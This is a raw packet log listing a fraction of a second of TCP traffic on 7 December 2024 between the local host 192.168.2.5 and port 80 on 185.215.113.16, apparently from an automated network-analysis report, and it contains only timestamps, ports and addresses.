Dec 7, 2024 08:43:50.638997078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.639023066 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.642067909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.642141104 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.642182112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.642246008 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.645334959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.645392895 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.645431995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.645509958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.648423910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.648483038 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.648546934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.648610115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.651652098 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.651716948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.651752949 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.651797056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.654804945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.654871941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.654973984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.655045986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.657979012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.658041954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.658078909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.658132076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.661179066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.661240101 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.661278009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.661334991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.664491892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.664541960 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.664628983 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.664678097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.667561054 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.667682886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.667746067 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.670752048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.670806885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.670881987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.670969009 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.673923016 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.674032927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.674050093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.674088001 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.677117109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.677170992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.677217007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.677267075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.680265903 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.680349112 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.680387020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.680474043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.683449984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.683547020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.683576107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.683732986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.686646938 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.686693907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.686758995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.686804056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.689882994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.689945936 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.690016985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.690109968 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.693032980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.693113089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.693147898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.693222046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.696238041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.696291924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.696362972 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.696405888 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.699426889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.699486971 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.699536085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.699589014 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.702610016 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.702671051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.702832937 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.702892065 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.705784082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.705828905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.705907106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.705969095 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.709024906 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.709106922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.709136963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.709136963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.712177992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.712223053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.712304115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.712413073 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.715364933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.715466976 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.715521097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.718487978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.718549967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.784806013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.784877062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.784929991 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.785007000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.786175013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.786236048 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.786305904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.786375046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.788922071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.789000034 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.789022923 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.789036989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.791603088 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.791666985 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.791672945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.791906118 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.794260979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.794334888 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.794343948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.794433117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.803277969 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.803330898 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.803364992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.803423882 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.804476976 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.804532051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.804955959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.805016994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.805078983 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.805138111 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.807389021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.807491064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.807508945 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.807547092 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.809755087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.809813976 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.809824944 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.809947968 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.812146902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.812196970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.812726021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.812825918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.814340115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.814404964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.814475060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.814532042 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.816629887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.816725969 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.816737890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.816792011 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.818892956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.818952084 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.818955898 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.818995953 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.821105003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.821156025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.821229935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.821279049 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.823263884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.823329926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.823385000 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.823422909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.825479984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.825560093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.825614929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.825670958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.827699900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.827722073 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.827761889 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.827763081 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.829715014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.829771996 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.829839945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.829920053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.831891060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.831934929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.832005024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.833950043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.834050894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.834103107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.834252119 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.835997105 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.836078882 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.836102962 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.836153030 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.838016987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.838095903 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.838180065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.838239908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.840089083 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.840177059 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.840215921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.840286970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.842058897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.842159986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.842175961 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.842231989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.844062090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.844193935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.844306946 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.845323086 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.845371962 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.845439911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.845488071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.846539021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.846591949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.846626043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.846694946 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.847779036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.847862005 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.847875118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.848000050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.849004984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.849091053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.849118948 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.849178076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.850233078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.850281000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.850330114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.850403070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.851483107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.851531029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.851600885 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.851655960 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.852725029 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.852844954 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.852905035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.854016066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.854069948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.854075909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.854140043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.855210066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.855264902 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.855318069 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.855393887 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.856422901 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.856487989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.856528997 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.856682062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.857675076 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.857728958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.857768059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.857820034 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.858921051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.858967066 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.859057903 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.859128952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.860156059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.860233068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.860304117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.860347033 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.861433029 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.861480951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.861525059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.861757994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.862634897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.862699986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.862763882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.862834930 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.863864899 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.863945007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.863990068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.865170956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.865233898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.865273952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.865273952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.866338015 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.866396904 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.866404057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.866497993 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.867588043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.867677927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.867726088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.868825912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.868921995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.869067907 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.869142056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.870074987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.870162010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.870208979 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.871345043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.871403933 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.871404886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.871469021 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.872518063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.872613907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.872653008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.872715950 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.873763084 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.873857975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.873864889 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.873945951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.875005007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.875089884 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.875093937 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.875190973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.876261950 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.876398087 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.876513004 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.876585007 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.977083921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.977173090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.977248907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.977696896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.977835894 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.977920055 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.978946924 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.978997946 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.979033947 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.979114056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.980149031 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.980206966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.980267048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.980309010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.981400013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.981450081 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.981611013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.981710911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.982630968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.982763052 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.982783079 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.982810020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.983859062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.983927011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.983943939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.984009027 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.995620012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.995824099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.995867014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.995999098 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.996098995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.996146917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.996236086 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.996298075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.997179985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.997232914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.997308016 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.997359991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.998271942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.998343945 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.998402119 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.998473883 CET	49795	80	192.168.2.5	185.215.113.16
